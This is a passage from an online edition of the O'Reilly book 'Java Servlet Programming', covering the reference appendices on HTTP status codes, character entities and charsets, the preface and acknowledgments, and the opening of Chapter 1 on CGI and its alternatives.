SC_NOT_MODIFIED | 304 | Not Modified | The requested document has not changed since the date specified in the request's If-Modified-Since header. Normal servlets should not need to use this status code. They implement getLastModified() instead. | 1.0
SC_USE_PROXY | 305 | Use Proxy | The requested resource must be accessed via the proxy given in the Location header. | 1.1
SC_BAD_REQUEST | 400 | Bad Request | The server could not understand the request, probably due to a syntax error. | 1.0
SC_UNAUTHORIZED | 401 | Unauthorized | The request lacked proper authorization. Used in conjunction with the WWW-Authenticate and Authorization headers. | 1.0
SC_PAYMENT_REQUIRED | 402 | Payment Required | Reserved for future use. Proposals exist to use this code in conjunction with a Charge-To header, but this has not been standardized as of press time. | 1.1
SC_FORBIDDEN | 403 | Forbidden | The request was understood, but the server is not willing to fulfill it. The server can explain the reason for its unwillingness in the response body. | 1.0
SC_NOT_FOUND | 404 | Not Found | The requested resource was not found or is not available. | 1.0
SC_METHOD_NOT_ALLOWED | 405 | Method Not Allowed | The method used by the client is not supported by this URL. The methods that are supported must be listed in the response's Allow header. | 1.1
SC_NOT_ACCEPTABLE | 406 | Not Acceptable | The requested resource exists, but not in a format acceptable to the client (as indicated by the Accept header(s) in the request). | 1.1
SC_PROXY_AUTHENTICATION_REQUIRED | 407 | Proxy Authentication Required | The proxy server needs authorization before it can proceed. Used with the Proxy-Authenticate header. Normal servlets should not need to use this status code. | 1.1
SC_REQUEST_TIMEOUT | 408 | Request Timeout | The client did not completely finish its request within the time that the server was willing to listen. | 1.1
SC_CONFLICT | 409 | Conflict | The request could not be completed because it conflicted with another request or the server's configuration. This code is most likely to occur with HTTP PUT requests, where the file being put is under revision control and the new version conflicts with some previous changes. The server can send a description of the conflict in the response body. | 1.0
SC_GONE | 410 | Gone | The resource is no longer available at this server, and no alternate address is known. This code should be used only when the resource has been permanently removed. Normal servlets have no reason to use this status code. | 1.1
SC_LENGTH_REQUIRED | 411 | Length Required | The server will not accept the request without a Content-Length header. | 1.1
SC_PRECONDITION_FAILED | 412 | Precondition Failed | A precondition specified by one or more If... headers in the request evaluated to false. | 1.1
SC_REQUEST_ENTITY_TOO_LARGE | 413 | Request Entity Too Large | The server will not process the request because the request content is too large. If this limitation is temporary, the server can include a Retry-After header. | 1.1
SC_REQUEST_URI_TOO_LONG | 414 | Request-URI Too Long | The server will not process the request because the request URI is longer than the server is willing to interpret. This can occur when a client has accidentally converted a POST request into a GET request. Normal servlets have no reason to use this status code. | 1.1
SC_UNSUPPORTED_MEDIA_TYPE | 415 | Unsupported Media Type | The server will not process the request because the request body is in a format unsupported by the requested resource. | 1.1
SC_INTERNAL_SERVER_ERROR | 500 | Internal Server Error | An unexpected error occurred inside the server that prevented it from fulfilling the request. | 1.0
SC_NOT_IMPLEMENTED | 501 | Not Implemented | The server does not support the functionality needed to fulfill the request. | 1.0
SC_BAD_GATEWAY | 502 | Bad Gateway | A server acting as a gateway or proxy did not receive a valid response from an upstream server. | 1.0
SC_SERVICE_UNAVAILABLE | 503 | Service Unavailable | The service (server) is temporarily unavailable but should be restored in the future. If the server knows when it will be available again, a Retry-After header may also be supplied. | 1.0
SC_GATEWAY_TIMEOUT | 504 | Gateway Timeout | A server acting as a gateway or proxy did not receive a valid response from an upstream server during the time it was prepared to wait. | 1.1
SC_HTTP_VERSION_NOT_SUPPORTED | 505 | HTTP Version Not Supported | The server does not support the version of the HTTP protocol used in the request. The response body should specify the protocols supported by the server. Normal servlets should not need to use this status code. | 1.1
Previous | Home | Next
Appendix B. HTTP Servlet API Quick Reference | Book Index | D. Character Entities
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Character Entities (Java Servlet Programming)

 Java Servlet Programming Search this book

Appendix D. Character Entities

Table D-1lists the various Unicode escapes, HTML numeric entities, and HTML named entities for all printable ISO-8859-1 (Latin-1) characters.

The numeric and named entities may be used within HTML pages; they are converted to symbols by web browsers. Unicode escapes may be used within servlet code; they are interpreted by the Java compiler. For example, a pound sign (£) can be embedded in an HTML page as "&#163;" or "&pound;". It can be embedded directly in Java code as "\u00A3".

Not every HTML character entity is universally supported. The Support column indicates its level of support. An "S" value means the numeric and named entity values for the symbol are part of the HTML standard. A "P" indicates the entity values are proposed standards--not part of the HTML standard but in most cases widely supported. An "N" in the column indicates the entity values are nonstandard and poorly supported. For these symbols, it's often best to use Unicode escapes.

Table D-1. Character Entities

Unicode Escape | Numeric Entity | Named Entity | Symbol | Description | Support
\u0009 | &#009; |  | \t | Horizontal tab | S
\u000A | &#010; |  | \n | Line feed | S
\u000D | &#013; |  | \r | Carriage return | S
\u0020 | &#032; |  |  | Space | S
\u0021 | &#033; |  | ! | Exclamation point | S
\u0022 | &#034; | &quot; | " | Quotation mark | S
\u0023 | &#035; |  | # | Hash mark | S
\u0024 | &#036; |  | $ | Dollar sign | S
\u0025 | &#037; |  | % | Percent sign | S
\u0026 | &#038; | &amp; | & | Ampersand | S
\u0027 | &#039; |  | ' | Apostrophe | S
\u0028 | &#040; |  | ( | Left parenthesis | S
\u0029 | &#041; |  | ) | Right parenthesis | S
\u002A | &#042; |  | * | Asterisk | S
\u002B | &#043; |  | + | Plus sign | S
\u002C | &#044; |  | , | Comma | S
\u002D | &#045; |  | - | Hyphen | S
\u002E | &#046; |  | . | Period | S
\u002F | &#047; |  | / | Slash | S
\u0030-\u0039 | &#048;-&#057; |  | 0-9 | Digits 0-9 | S
\u003A | &#058; |  | : | Colon | S
\u003B | &#059; |  | ; | Semicolon | S
\u003C | &#060; | &lt; | < | Less than | S
\u003D | &#061; |  | = | Equal sign | S
\u003E | &#062; | &gt; | > | Greater than | S
\u003F | &#063; |  | ? | Question mark | S
\u0040 | &#064; |  | @ | Commercial "at" sign | S
\u0041-\u005A | &#065;-&#090; |  | A-Z | Letters A-Z | S
\u005B | &#091; |  | [ | Left square bracket | S
\u005C | &#092; |  | \ | Backslash | S
\u005D | &#093; |  | ] | Right square bracket | S
\u005E | &#094; |  | ^ | Caret | S
\u005F | &#095; |  | _ | Underscore | S
\u0060 | &#096; |  | ` | Grave accent | S
\u0061-\u007A | &#097;-&#122; |  | a-z | Letters a-z | S
\u007B | &#123; |  | { | Left curly brace | S
\u007C | &#124; |  | | | Vertical bar | S
\u007D | &#125; |  | } | Right curly brace | S
\u007E | &#126; |  | ~ | Tilde | S
\u0082 | &#130; |  | , |  | N
\u0083 | &#131; |  | ƒ | Florin | N
\u0084 | &#132; |  | " | Right double quote | N
\u0085 | &#133; |  | ... | Ellipsis | N
\u0086 | &#134; |  | † | Dagger | N
\u0087 | &#135; |  | ‡ | Double dagger | N
\u0088 | &#136; |  | ^ | Circumflex | N
\u0089 | &#137; |  | ‰ | Permil | N
\u008A | &#138; |  | Š | Capital S, caron | N
\u008B | &#139; |  | < | Less than sign | N
\u008C | &#140; |  | Œ | Capital OE ligature | N
\u0091 | &#145; |  | ` | Left single quote | N
\u0092 | &#146; |  | ' | Right single quote | N
\u0093 | &#147; |  | " | Left double quote | N
\u0094 | &#148; |  | rdquo | Right double quote | N
\u0095 | &#149; |  | • | Bullet | N
\u0096 | &#150; |  | – | En dash | N
\u0097 | &#151; |  | -- | Em dash | N
\u0098 | &#152; |  | ~ | Tilde | N
\u0099 | &#153; |  | ™ | Trademark | N
\u009A | &#154; |  | š | Small s, caron | N
\u009B | &#155; |  | > | Greater than sign | N
\u009C | &#156; |  | œ | Small oe ligature | N
\u009F | &#159; |  | Yuml | Capital Y, umlaut | N
\u00A0 | &#160; | &nbsp; |  | Nonbreaking space | P
\u00A1 | &#161; | &iexcl; | ¡ | Inverted exclamation point | P
\u00A2 | &#162; | &cent; | ¢ | Cent sign | P
\u00A3 | &#163; | &pound; | £ | Pound sign | P
\u00A4 | &#164; | &curren; | ¤ | General currency sign | P
\u00A5 | &#165; | &yen; | ¥ | Yen sign | P
\u00A6 | &#166; | &brvbar; | | | Broken vertical bar | P
\u00A7 | &#167; | &sect; | § | Section sign | P
\u00A8 | &#168; | &uml; | ¨ | Umlaut | P
\u00A9 | &#169; | &copy; | © | Copyright | P
\u00AA | &#170; | &ordf; | ª | Feminine ordinal | P
\u00AB | &#171; | &laquo; | « | Left angle quote | P
\u00AC | &#172; | &not; | ¬ | Not sign | P
\u00AD | &#173; | &shy; | - | Soft hyphen | P
\u00AE | &#174; | &reg; | ® | Registered trademark | P
\u00AF | &#175; | &macr; | ¯ | Macron accent | P
\u00B0 | &#176; | &deg; | ˚ | Degree sign | P
\u00B1 | &#177; | &plusmn; | ± | Plus or minus | P
\u00B2 | &#178; | &sup2; | 2 | Superscript 2 | P
\u00B3 | &#179; | &sup3; | 3 | Superscript 3 | P
\u00B4 | &#180; | &acute; | ´ | Acute accent | P
\u00B5 | &#181; | &micro; | µ | Micro sign (Greek mu) | P
\u00B6 | &#182; | &para; | ¶ | Paragraph sign | P
\u00B7 | &#183; | &middot; | · | Middle dot | P
\u00B8 | &#184; | &cedil; | ¸ | Cedilla | P
\u00B9 | &#185; | &sup1; | 1 | Superscript 1 | P
\u00BA | &#186; | &ordm; | º | Masculine ordinal | P
\u00BB | &#187; | &raquo; | » | Right angle quote | P
\u00BC | &#188; | &frac14; | ¼ | Fraction one-fourth | P
\u00BD | &#189; | &frac12; | ½ | Fraction one-half | P
\u00BE | &#190; | &frac34; | ¾ | Fraction three-fourths | P
\u00BF | &#191; | &iquest; | ¿ | Inverted question mark | P
\u00C0 | &#192; | &Agrave; | À | Capital A, grave accent | S
\u00C1 | &#193; | &Aacute; | Á | Capital A, acute accent | S
\u00C2 | &#194; | &Acirc; | Â | Capital A, circumflex accent | S
\u00C3 | &#195; | &Atilde; | Ã | Capital A, tilde | S
\u00C4 | &#196; | &Auml; | Ä | Capital A, umlaut | S
\u00C5 | &#197; | &Aring; | Å | Capital A, ring | S
\u00C6 | &#198; | &AElig; | Æ | Capital AE ligature | S
\u00C7 | &#199; | &Ccedil; | Ç | Capital C, cedilla | S
\u00C8 | &#200; | &Egrave; | È | Capital E, grave accent | S
\u00C9 | &#201; | &Eacute; | É | Capital E, acute accent | S
\u00CA | &#202; | &Ecirc; | Ê | Capital E, circumflex accent | S
\u00CB | &#203; | &Euml; | Ë | Capital E, umlaut | S
\u00CC | &#204; | &Igrave; | Ì | Capital I, grave accent | S
\u00CD | &#205; | &Iacute; | Í | Capital I, acute accent | S
\u00CE | &#206; | &Icirc; | Î | Capital I, circumflex accent | S
\u00CF | &#207; | &Iuml; | Ï | Capital I, umlaut | S
\u00D0 | &#208; | &ETH; | Ð | Capital eth, Icelandic | S
\u00D1 | &#209; | &Ntilde; | Ñ | Capital N, tilde | S
\u00D2 | &#210; | &Ograve; | Ò | Capital O, grave accent | S
\u00D3 | &#211; | &Oacute; | Ó | Capital O, acute accent | S
\u00D4 | &#212; | &Ocirc; | Ô | Capital O, circumflex accent | S
\u00D5 | &#213; | &Otilde; | Õ | Capital O, tilde | S
\u00D6 | &#214; | &Ouml; | Ö | Capital O, umlaut | S
\u00D7 | &#215; | &times; | × | Multiply sign | P
\u00D8 | &#216; | &Oslash; | Ø | Capital O, slash | S
\u00D9 | &#217; | &Ugrave; | Ù | Capital U, grave accent | S
\u00DA | &#218; | &Uacute; | Ú | Capital U, acute accent | S
\u00DB | &#219; | &Ucirc; | Û | Capital U, circumflex accent | S
\u00DC | &#220; | &Uuml; | Ü | Capital U, umlaut | S
\u00DD | &#221; | &Yacute; | Yacute | Capital Y, acute accent | S
\u00DE | &#222; | &THORN; | THORN | Capital thorn, Icelandic | S
\u00DF | &#223; | &szlig; | ß | Small sz ligature, German | S
\u00E0 | &#224; | &agrave; | à | Small a, grave accent | S
\u00E1 | &#225; | &aacute; | á | Small a, acute accent | S
\u00E2 | &#226; | &acirc; | â | Small a, circumflex accent | S
\u00E3 | &#227; | &atilde; | ã | Small a, tilde | S
\u00E4 | &#228; | &auml; | ä | Small a, umlaut | S
\u00E5 | &#229; | &aring; | å | Small a, ring | S
\u00E6 | &#230; | &aelig; | æ | Small ae ligature | S
\u00E7 | &#231; | &ccedil; | ç | Small c, cedilla | S
\u00E8 | &#232; | &egrave; | è | Small e, grave accent | S
\u00E9 | &#233; | &eacute; | é | Small e, acute accent | S
\u00EA | &#234; | &ecirc; | ê | Small e, circumflex accent | S
\u00EB | &#235; | &euml; | ë | Small e, umlaut | S
\u00EC | &#236; | &igrave; | ì | Small i, grave accent | S
\u00ED | &#237; | &iacute; | í | Small i, acute accent | S
\u00EE | &#238; | &icirc; | î | Small i, circumflex accent | S
\u00EF | &#239; | &iuml; | ï | Small i, umlaut | S
\u00F0 | &#240; | &eth; | eth | Small eth, Icelandic | S
\u00F1 | &#241; | &ntilde; | ñ | Small n, tilde | S
\u00F2 | &#242; | &ograve; | ò | Small o, grave accent | S
\u00F3 | &#243; | &oacute; | ó | Small o, acute accent | S
\u00F4 | &#244; | &ocirc; | ô | Small o, circumflex accent | S
\u00F5 | &#245; | &otilde; | õ | Small o, tilde | S
\u00F6 | &#246; | &ouml; | ö | Small o, umlaut | S
\u00F7 | &#247; | &divide; | ÷ | Division sign | P
\u00F8 | &#248; | &oslash; | ø | Small o, slash | S
\u00F9 | &#249; | &ugrave; | ù | Small u, grave accent | S
\u00FA | &#250; | &uacute; | ú | Small u, acute accent | S
\u00FB | &#251; | &ucirc; | û | Small u, circumflex accent | S
\u00FC | &#252; | &uuml; | ü | Small u, umlaut | S
\u00FD | &#253; | &yacute; | ý | Small y, acute accent | S
\u00FE | &#254; | &thorn; | thorn; | Small thorn, Icelandic | S
\u00FF | &#255; | &yuml; | ÿ | Small y, umlaut | S

Previous | Home | Next
Appendix C. HTTP Status Codes | Book Index | E. Charsets
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Charsets (Java Servlet Programming)

 Java Servlet Programming Search this book

Appendix E. Charsets

Table E-1lists the suggested charset(s) for a number of languages. Charsets are used by servlets that generate multilingual output; they determine which character encoding a servlet's PrintWriter is to use. By default, the PrintWriter uses the ISO-8859-1 (Latin-1) charset, appropriate for most Western European languages. To specify an alternate charset, the charset value must be passed to the setContentType() method before the servlet retrieves its PrintWriter. For example:

res.setContentType("text/html; charset=Shift_JIS");  // A Japanese charset
PrintWriter out = res.getWriter();  // Writes Shift_JIS Japanese

Note that not all web browsers support all charsets or have the fonts available to represent all characters, although at minimum all clients support ISO-8859-1. Also, the UTF-8 charset can represent all Unicode characters and may be assumed a viable alternative for all languages.

Table E-1. Suggested Charsets

Language | Language Code | Suggested Charsets
Albanian | sq | ISO-8859-2
Arabic | ar | ISO-8859-6
Bulgarian | bg | ISO-8859-5
Byelorussian | be | ISO-8859-5
Catalan (Spanish) | ca | ISO-8859-1
Chinese (Simplified/Mainland) | zh | GB2312
Chinese (Traditional/Taiwan) | zh (country TW) | Big5
Croatian | hr | ISO-8859-2
Czech | cs | ISO-8859-2
Danish | da | ISO-8859-1
Dutch | nl | ISO-8859-1
English | en | ISO-8859-1
Estonian | et | ISO-8859-1
Finnish | fi | ISO-8859-1
French | fr | ISO-8859-1
German | de | ISO-8859-1
Greek | el | ISO-8859-7
Hebrew | he (formerly iw) | ISO-8859-8
Hungarian | hu | ISO-8859-2
Icelandic | is | ISO-8859-1
Italian | it | ISO-8859-1
Japanese | ja | Shift_JIS, ISO-2022-JP, EUC-JP[1]
Korean | ko | EUC-KR[2]
Latvian, Lettish | lv | ISO-8859-2
Lithuanian | lt | ISO-8859-2
Macedonian | mk | ISO-8859-5
Norwegian | no | ISO-8859-1
Polish | pl | ISO-8859-2
Portuguese | pt | ISO-8859-1
Romanian | ro | ISO-8859-2
Russian | ru | ISO-8859-5, KOI8-R
Serbian | sr | ISO-8859-5, KOI8-R
Serbo-Croatian | sh | ISO-8859-5, ISO-8859-2, KOI8-R
Slovak | sk | ISO-8859-2
Slovenian | sl | ISO-8859-2
Spanish | es | ISO-8859-1
Swedish | sv | ISO-8859-1
Turkish | tr | ISO-8859-9
Ukranian | uk | ISO-8859-5, KOI8-R

[1] First supported in JDK 1.1.6. Earlier versions of the JDK know the EUC-JP character set by the name EUCJIS, so for portability you can set the character set to EUC-JP and manually construct an EUCJIS PrintWriter.

[2] First supported in JDK 1.1.6. Earlier versions of the JDK know the EUC-KR character set by the name KSC_5601, so for portability you can set the character set to EUC-KR and manually construct a KSC_5601 PrintWriter.

Previous | Home
Appendix D. Character Entities | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Preface (Java Servlet Programming)

 Java Servlet Programming Search this book

Preface

In late 1996, Java on the server side was coming on strong. Several major software vendors were marketing technologies specifically aimed at helping server-side Java developers do their jobs more efficiently. Most of these products provided a prebuilt infrastructure that could lift the developer's attention from the raw socket level into the more productive application level. For example, Netscape introduced something it named "server-side applets"; the World Wide Web Consortium included extensible modules called "resources" with its Java-based Jigsaw web server; and with its WebSite server, O'Reilly Software promoted the use of a technology it (only coincidentally) dubbed "servlets." The drawback: each of these technologies was tied to a particular server and designed for very specific tasks.

Then, in early 1997, JavaSoft (a company that has since been reintegrated into Sun Microsystems as the Java Software division) finalized Java servlets. This action consolidated the scattered technologies into a single, standard, generic mechanism for developing modular server-side Java code. Servlets were designed to work with both Java-based and non-Java-based servers. Support for servlets has since been implemented in nearly every web server, from Apache to Zeus, and in many non-web servers as well.

Servlets have been quick to gain acceptance because, unlike many new technologies that must first explain the problem or task they were created to solve, servlets are a clear solution to a well-recognized and widespread need: generating dynamic web content. From corporations down to individual web programmers, people who struggled with the maintenance and performance problems of CGI-based web programming are turning to servlets for their power, portability, and efficiency. Others, who were perhaps intimidated by CGI programming's apparent reliance on manual HTTP communication and the Perl and C languages, are looking to servlets as a manageable first step into the world of web programming.

This book explains everything you need to know about Java servlet programming. The first five chapters cover the basics: what servlets are, what they do, and how they work. The following eight chapters are where the true meat is--they explore the things you are likely to do with servlets. You'll find numerous examples, several suggestions, a few warnings, and even a couple of true hacks that somehow made it past technical review.

We cover Version 2.0 of the Servlet API, which was introduced as part of the Java Web Server 1.1 in December 1997 and clarified by the release of the Java Servlet Development Kit 2.0 in April 1998. Changes in the API from Version 1.0, finalized in June 1997, are noted throughout the text.

0.1. Audience

Is this book for you? It is if you're interested in extending the functionality of a server--such as extending a web server to generate dynamic content. Specifically, this book was written to help:

CGI programmers

CGI is a popular but somewhat crude method of extending the functionality of a web server. Servlets provide an elegant, efficient alternative.

NSAPI, ISAPI, ASP, and Server-Side JavaScript programmers

Each of these technologies can be used as a CGI alternative, but each has limitations regarding portability, security, and/or performance. Servlets tend to excel in each of these areas.

Java applet programmers

It has always been difficult for an applet to talk to a server. Servlets make it easier by giving the applet an easy-to-connect-to, Java-based agent on the server.

Authors of web pages with server-side includes

Pages that use server-side includes to call CGI programs can use <SERVLET> tags to add content more efficiently to a page.

Authors of web pages with different appearances

By this we mean pages that must be available in different languages, have to be converted for transmission over a low-bandwidth connection, or need to be modified in some manner before they are sent to the client. Servlets provide something called servlet chaining that can be used for processing of this type. Each servlet in a servlet chain knows how to catch, process, and return a specific kind of content. Thus, servlets can be linked together to do language translation, change large color images to small black-and-white ones, convert images in esoteric formats to standard GIF or JPEG images, or nearly anything else you can think of.

0.1.1. What You Need to Know

When we first started writing this book, we found to our surprise that one of the hardest things was determining what to assume about you, the reader. Are you familiar with Java? Have you done CGI or other web application programming before? Or are you getting your feet wet with servlets? Do you understand HTTP and HTML, or do those acronyms seem perfectly interchangeable? No matter what experience level we imagined, it was sure to be too simplistic for some and too advanced for others.

In the end, this book was written with the notion that it should contain predominantly original material: it could leave out exhaustive descriptions of topics and concepts that are well described online or in other books. Scattered throughout the text, you'll find several references to these external sources of information.

Of course, external references only get you so far. This book expects you are comfortable with the Java programming language and basic object-oriented programming techniques. If you are coming to servlets from another language, we suggest you prepare yourself by reading a book on general Java programming, such as Exploring Java, by Patrick Niemeyer and Joshua Peck (O'Reilly). You may want to skim quickly the sections on applets and AWT (graphical) programming and spend extra time on network and multithreaded programming. If you want to get started with servlets right away and learn Java as you go, we suggest you read this book with a copy of Java in a Nutshell, by David Flanagan (O'Reilly), or another Java reference book, at your side.

This book does not assume you have extensive experience with web programming, HTTP, and HTML. But neither does it provide a full introduction to or exhaustive description of these technologies. We'll cover the basics necessary for effective servlet development and leave the finer points (such as a complete list of HTML tags and HTTP 1.1 headers) to other sources.

Home | Next
Book Index | 0.2. About the Examples
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


About the Examples (Java Servlet Programming)

 Java Servlet Programming Search this book

0.2. About the Examples

In this book you'll find nearly 100 servlet examples. The code for these servlets is all contained within the text, but you may prefer to download the examples rather than type them in by hand. You can find the code online and packaged for download at http://www.oreilly.com/catalog/jservlet/. You can also see many of the servlets in action at http://www.servlets.com.

All the examples have been tested using Sun's Java Web Server 1.1.1, running in the Java Virtual Machine (JVM) bundled with the Java Development Kit (JDK) 1.1.5, on both Windows and Unix. A few examples require alternate configurations, and this has been noted in the text. The Java Web Server is free for education use and has a 30-day trial period for all other use. You can download a copy from http://java.sun.com/products. The Java Development Kit is freely downloadable from http://java.sun.com/products/jdk or, for educational use, from http://www.sun.com/products-n-solutions/edu/java/. The Java Servlet Development Kit (JSDK) is available separately from the JDK; you can find it at http://java.sun.com/products/servlet/.

This book also contains a set of utility classes--they are used by the servlet examples, and you may find them helpful for your own general-purpose servlet development. These classes are contained in the com.oreilly.servlet package. Among other things, there are classes to help servlets parse parameters, handle file uploads, generate multipart responses (server push), negotiate locales for internationalization, return files, manage socket connections, and act as RMI servers. There's even a class to help applets communicate with servlets. The source code for the com.oreilly.servlet package is contained within the text; the latest version is also available online (with javadoc documentation) from http://www.oreilly.com/catalog/jservlet/ and http://www.servlets.com.

Previous | Home | Next
0.1. Audience | Book Index | 0.3. Organization
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments (Java Servlet Programming)

 Java Servlet Programming Search this book

0.6. Acknowledgments

The authors would like to say a big thank you to the book's technical reviewers, whose constructive criticism has done much to improve this work: Mike Slinn, Mike Hogarth, James Duncan Davidson, Dan Pritchett, Dave McMurdie, and Rob Clark. We're still in shock that it took one reviewer just three days to read what took us a full year to write!

0.6.1. Jason Hunter

In a sense, this book began March 20, 1997, at the Computer Literacy bookstore in San Jose, California. There--after a hilarious talk by Larry Wall and Randall Schwartz, where Larry explained how he manages to automate his house using Perl--I met the esteemed Tim O'Reilly for the first time. I introduced myself and brazenly told him that some day (far in the future, I thought) I had plans to write an O'Reilly book. I felt like I was telling Steven Spielberg I planned to star in one of his movies. To my complete and utter surprise, Tim replied, "On what topic?" So began the roller coaster ride that resulted in this book.

There have been several high points I fondly remember: meeting my editor (cool, she's young, too!), signing the official contract (did you know that all of O'Reilly's official paper has animals on it?), writing the first sentence (over and over), printing the first chapter (and having it look just like an O'Reilly book), and then watching as the printouts piled higher and higher, until eventually there was nothing more to write (well, except the acknowledgments).

There have been a fair number of trying times as well. At one point, when the book was about half finished, I realized the Servlet API was changing faster than I could keep up. I believe in the saying, "If at first you don't succeed, ask for help," so after a quick talent search I asked William Crawford, who was already working on Java Enterprise in a Nutshell, if he could help speed the book to completion. He graciously agreed and in the end wrote two chapters, as well as portions of the appendices.

There are many others who have helped in the writing of this book, both directly and indirectly. I'd like to say thank you to Paula Ferguson, the book's editor, and Mike Loukides, the Java series editor, for their efforts to ensure (and improve) the quality of this book. And to Tim O'Reilly for giving me the chance to fulfill a dream.

Thanks also to my managers at Silicon Graphics, Kathy Tansill and Walt Johnson, for providing me with more encouragement and flexibility than I had any right to expect.

I can't say thank you enough to the engineers at Sun who were tremendously helpful in answering questions, keeping me updated on changes in the Servlet API, and promptly fixing almost every bug I reported: James Duncan Davidson (who looks the spitting image of James Gosling), Jim Driscoll, Rob Clark, and Dave Brownell.

Thanks also to the members of the jserv-interest mailing list, whose questions and answers have shaped the content of this book; Will Ramey, an old friend who didn't let friendship blind his critical eye; Mike Engber, the man to whom I turned when I had run out of elegant workarounds and was ready to accept the crazy things he comes up with; Dave Vandegrift, the first person to read many of the chapters; Bill Day, author of Java Media Players, who helped intangibly by going through the book writing process in parallel with me; Michael O'Connell and Jill Steinberg, editors at JavaWorld, where I did my first professional writing; Doug Young, who shared with me the tricks he learned writing seven technical books of his own; and Shoji Kuwabara, Mieko Aono, Song Yung, Matthew Kim, and Alexandr Pashintsev for their help translating "Hello World" for Chapter 12, "Internationalization".

Finally, thanks to Mom and Dad, for their love and support and for the time they spent long ago teaching me the basics of writing. And a special thanks to my girlfriend, Kristi Taylor, who made the small time away from work a pleasure.

And Grandpa, I wish you could have seen this.

Jason Hunter

July 1998

0.6.2. William Crawford

First and foremost, thanks to Shelley Norton, Dr. Isaac Kohane, Dr. James Fackler, and Dr. Richard Kitz (plus a supporting cast whose contributions were invaluable), whose assistance and early support have made everything since possible. Also, to Martin Streeter of Invantage, Inc., for his support during this project.

Without Rob Leith, Roger Stacey, and Fred Strebeigh, I would probably still be stuck in the passive voice. Dale Dougherty offered me money in exchange for words, a twist of events that I still haven't gotten over. Andy Kwak, Joel Pomerantz, and Matthew Proto, brave souls all, were willing to read drafts and listen to complaints at one o'clock in the morning.

And, of course, to Mom and Dad for their years of support, and to my sister Faith for (usually) letting me get away with being a nerd.

William Crawford

July 1998

Previous | Home | Next
0.5. Request for Comments | Book Index | 1. Introduction
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introduction (Java Servlet Programming)

 Java Servlet Programming Search this book

Chapter 1. Introduction

Contents:

History of Web Applications
Support for Servlets
The Power of Servlets

The rise of server-side Java applications is one of the latest and most exciting trends in Java programming. The Java language was originally intended for use in small, embedded devices. It was first hyped as a language for developing elaborate client-side web content in the form of applets. Until recently, Java's potential as a server-side development platform had been sadly overlooked. Now, Java is coming into its own as a language ideally suited for server-side development.

Businesses in particular have been quick to recognize Java's potential on the server--Java is inherently suited for large client/server applications. The cross-platform nature of Java is extremely useful for organizations that have a heterogeneous collection of servers running various flavors of the Unix and Windows operating systems. Java's modern, object-oriented, memory-protected design allows developers to cut development cycles and increase reliability. In addition, Java's built-in support for networking and enterprise APIs provides access to legacy data, easing the transition from older client/server systems.

Java servlets are a key component of server-side Java development. A servlet is a small, pluggable extension to a server that enhances the server's functionality. Servlets allow developers to extend and customize any Java-enabled server--a web server, a mail server, an application server, or any custom server--with a hitherto unknown degree of portability, flexibility, and ease. But before we go into any more detail, let's put things into perspective.

1.1. History of Web Applications

While servlets can be used to extend the functionality of any Java-enabled server, today they are most often used to extend web servers, providing a powerful, efficient replacement for CGI scripts. When you use a servlet to create dynamic content for a web page or otherwise extend the functionality of a web server, you are in effect creating a web application. While a web page merely displays static content and lets the user navigate through that content, a web application provides a more interactive experience. A web application can be as simple as a keyword search on a document archive or as complex as an electronic storefront. Web applications are being deployed on the Internet and on corporate intranets and extranets, where they have the potential to increase productivity and change the way that companies, large and small, do business.

To understand the power of servlets, we need to step back and look at some of the other approaches that can be used to create web applications.

1.1.1. Common Gateway Interface

The Common Gateway Interface, normally referred to as CGI, was one of the first practical techniques for creating dynamic content. With CGI, a web server passes certain requests to an external program. The output of this program is then sent to the client in place of a static file. The advent of CGI made it possible to implement all sorts of new functionality in web pages, and CGI quickly became a de facto standard, implemented on dozens of web servers.

It's interesting to note that the ability of CGI programs to create dynamic web pages is a side effect of its intended purpose: to define a standard method for an information server to talk with external applications. This origin explains why CGI has perhaps the worst life cycle imaginable. When a server receives a request that accesses a CGI program, it must create a new process to run the CGI program and then pass to it, via environment variables and standard input, every bit of information that might be necessary to generate a response. Creating a process for every such request requires time and significant server resources, which limits the number of requests a server can handle concurrently. Figure 1-1 shows the CGI life cycle.

Figure 1-1. The CGI life cycle

Even though a CGI program can be written in almost any language, the Perl programming language has become the predominant choice. Its advanced text-processing capabilities are a big help in managing the details of the CGI interface. Writing a CGI script in Perl gives it a semblance of platform independence, but it also requires that each request start a separate Perl interpreter, which takes even more time and requires extra resources.

Another often-overlooked problem with CGI is that a CGI program cannot interact with the web server or take advantage of the server's abilities once it begins execution because it is running in a separate process. For example, a CGI script cannot write to the server's log file.

For more information on CGI programming, see CGI Programming on the World Wide Web by Shishir Gundavaram (O'Reilly).

1.1.1.1. FastCGI

A company named Open Market developed an alternative to standard CGI named FastCGI. In many ways, FastCGI works just like CGI--the important difference is that FastCGI creates a single persistent process for each FastCGI program, as shown in Figure 1-2. This eliminates the need to create a new process for each request.

Figure 1-2. The FastCGI life cycle

Although FastCGI is a step in the right direction, it still has a problem with process proliferation: there is at least one process for each FastCGI program. If a FastCGI program is to handle concurrent requests, it needs a pool of processes, one per request. Considering that each process may be executing a Perl interpreter, this approach does not scale as well as you might hope. (Although, to its credit, FastCGI can distribute its processes across multiple servers.) Another problem with FastCGI is that it does nothing to help the FastCGI program more closely interact with the server. As of this writing, the FastCGI approach has not been implemented by some of the more popular servers, including Microsoft's Internet Information Server. Finally, FastCGI programs are only as portable as the language in which they're written.

For more information on FastCGI, see http://www.fastcgi.com/.

1.1.1.2. mod_perl

If you are using the Apache web server, another option for improving CGI performance is using mod_perl. mod_perl is a module for the Apache server that embeds a copy of the Perl interpreter into the Apache httpd executable, providing complete access to Perl functionality within Apache. The effect is that your CGI scripts are precompiled by the server and executed without forking, thus running much more quickly and efficiently. For more information on mod_perl, see http://perl.apache.org/.

1.1.1.3. PerlEx

PerlEx, developed by ActiveState, improves the performance of CGI scripts written in Perl that run on Windows NT web servers (Microsoft's Internet Information Server, O'Reilly's WebSite Professional, and Netscape's FastTrack Server and Enterprise Server). PerlEx uses the web server's native API to achieve its performance gains. For more information, see http://www.activestate.com/plex/.

1.1.2. Other Solutions

CGI/Perl has the advantage of being a more-or-less platform-independent way to produce dynamic web content. Other well-known technologies for creating web applications, such as ASP and server-side JavaScript, are proprietary solutions that work only with certain web servers.

1.1.2.1. Server Extension APIs

